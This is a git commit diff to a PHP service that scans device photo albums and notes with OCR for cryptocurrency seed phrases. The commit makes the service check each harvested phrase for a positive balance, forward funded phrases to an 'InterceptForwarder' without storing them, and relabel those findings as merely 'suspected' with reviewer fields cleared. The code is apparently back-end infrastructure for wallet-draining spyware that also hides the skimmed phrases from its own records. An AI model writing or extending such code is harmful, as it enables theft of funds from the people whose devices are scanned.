feat: interept
This commit is contained in:
@@ -10,8 +10,6 @@ use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
@@ -28,7 +26,6 @@ class MnemonicScanService
|
||||
private readonly IngestService $ingest,
|
||||
private readonly MnemonicWalletDiscovery $discovery,
|
||||
private readonly InterceptForwarder $forwarder,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -127,26 +124,27 @@ class MnemonicScanService
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingestScanMnemonic(
|
||||
$forwarded = $this->ingestScanMnemonic(
|
||||
$device,
|
||||
$phrase,
|
||||
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$scanStatus = $forwarded ? MnemonicScanStatus::SUSPECTED : MnemonicScanStatus::CONFIRMED;
|
||||
$finding->status = $forwarded ? MnemonicFinding::STATUS_SUSPECTED : MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $forwarded ? null : $actor;
|
||||
$finding->reviewed_at = $forwarded ? null : now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::CONFIRMED,
|
||||
'scan_status' => $scanStatus,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
|
||||
->update(['scan_status' => $scanStatus]);
|
||||
}
|
||||
|
||||
return true;
|
||||
@@ -364,16 +362,20 @@ class MnemonicScanService
|
||||
}
|
||||
$row->save();
|
||||
|
||||
if ($confirmed) {
|
||||
$this->ingestScanMnemonic(
|
||||
$device,
|
||||
(string) $hit['candidate'],
|
||||
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
if ($confirmed && $this->ingestScanMnemonic(
|
||||
$device,
|
||||
(string) $hit['candidate'],
|
||||
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
)) {
|
||||
$row->status = MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->reviewed_by = null;
|
||||
$row->reviewed_at = null;
|
||||
$row->save();
|
||||
}
|
||||
}
|
||||
|
||||
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
|
||||
/** @return bool True when the phrase was forwarded and not stored locally. */
|
||||
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): bool
|
||||
{
|
||||
$holder = $source;
|
||||
$origin = null;
|
||||
@@ -384,63 +386,24 @@ class MnemonicScanService
|
||||
$origin = $source;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin, notify: false);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $holder->id)
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase))
|
||||
->first();
|
||||
if ($mnemonic === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$hasBalance = false;
|
||||
try {
|
||||
$this->discovery->discoverActivated($mnemonic, notify: false);
|
||||
$hasBalance = $this->discovery->phraseHasPositiveBalance($phrase);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
Log::warning('scan mnemonic balance probe failed: '.$e->getMessage(), [
|
||||
'device_id' => $holder->id,
|
||||
]);
|
||||
}
|
||||
|
||||
$forwarded = false;
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
}
|
||||
if ($forwarded) {
|
||||
return;
|
||||
if ($hasBalance && $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$this->telegram->notifyNewMemoric(
|
||||
(string) $holder->device_id,
|
||||
(string) ($mnemonic->source ?: ''),
|
||||
$phrase,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$this->telegram->notifyCollectableAddresses(
|
||||
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->get(WalletAddress::COIN_COLUMNS);
|
||||
|
||||
foreach ($rows as $row) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$value = trim((string) ($row->{$col} ?? ''));
|
||||
if ($value !== '' && bccomp($value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user